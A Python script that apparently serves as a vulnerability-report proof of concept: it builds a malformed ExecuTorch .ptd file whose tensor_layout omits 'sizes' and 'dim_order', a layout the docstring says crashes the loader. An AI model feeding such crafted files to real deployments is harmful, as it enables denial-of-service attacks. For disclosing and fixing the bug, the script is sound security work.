File size: 3,471 Bytes
0ef171e | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | #!/usr/bin/env python3
"""
Generates poc_tensorlayout_sizes_null.ptd - a well-formed .ptd file whose
single NamedData entry has a PRESENT (non-null) tensor_layout table, but
that table's own `sizes` field is omitted (dim_order is also omitted in
this PoC; either omission alone triggers the same crash class).
Requires: flatc (built from ExecuTorch's vendored third-party/flatbuffers)
and the project's flat_tensor.fbs / scalar_type.fbs schema files.
Usage:
python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
"""
import os
import struct
import subprocess
import sys
import tempfile
def build(schema_dir: str, flatc: str, out_path: str) -> None:
with tempfile.TemporaryDirectory() as d:
for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
with open(os.path.join(schema_dir, fname), "rb") as src:
data = src.read()
with open(os.path.join(d, fname), "wb") as dst:
dst.write(data)
# NamedData entry with tensor_layout PRESENT but its scalar_type set
# and sizes/dim_order OMITTED.
json_path = os.path.join(d, "flat_tensor.json")
with open(json_path, "w") as f:
f.write(
"""{
"version": 0,
"segments": [ { "offset": 0, "size": 16 } ],
"named_data": [
{
"key": "weight1",
"segment_index": 0,
"tensor_layout": { "scalar_type": 6 }
}
]
}"""
)
subprocess.run(
[flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
cwd=d,
check=True,
)
with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
raw_fb = f.read()
EXPECTED_MAGIC = b"FH01"
HEADER_LEN = 40
FLATBUFFER_ALIGNMENT = 16
SEGMENT_ALIGNMENT = 128
def aligned_size(n, align):
return (n + align - 1) // align * align
def pad_to(data, length):
assert len(data) <= length
return data + bytes(length - len(data))
def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
return (
(root_offset + len(header_data)).to_bytes(4, "little")
+ flatbuffer_data[4:8]
+ header_data
+ flatbuffer_data[8:]
)
padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
segment_data = bytes([0x11] * 16)
flatbuffer_offset = padded_header_length
flatbuffer_size = len(raw_fb)
segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
segment_data_size = len(segment_data)
header_data = (
EXPECTED_MAGIC
+ struct.pack("<I", HEADER_LEN)
+ struct.pack("<Q", flatbuffer_offset)
+ struct.pack("<Q", flatbuffer_size)
+ struct.pack("<Q", segment_base_offset)
+ struct.pack("<Q", segment_data_size)
)
header_data = pad_to(header_data, padded_header_length)
injected = insert_header(raw_fb, header_data)
injected = pad_to(injected, segment_base_offset)
final = injected + segment_data
with open(out_path, "wb") as f:
f.write(final)
print(f"Wrote {out_path} ({len(final)} bytes)")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(__doc__)
sys.exit(1)
build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_tensorlayout_sizes_null.ptd"))
|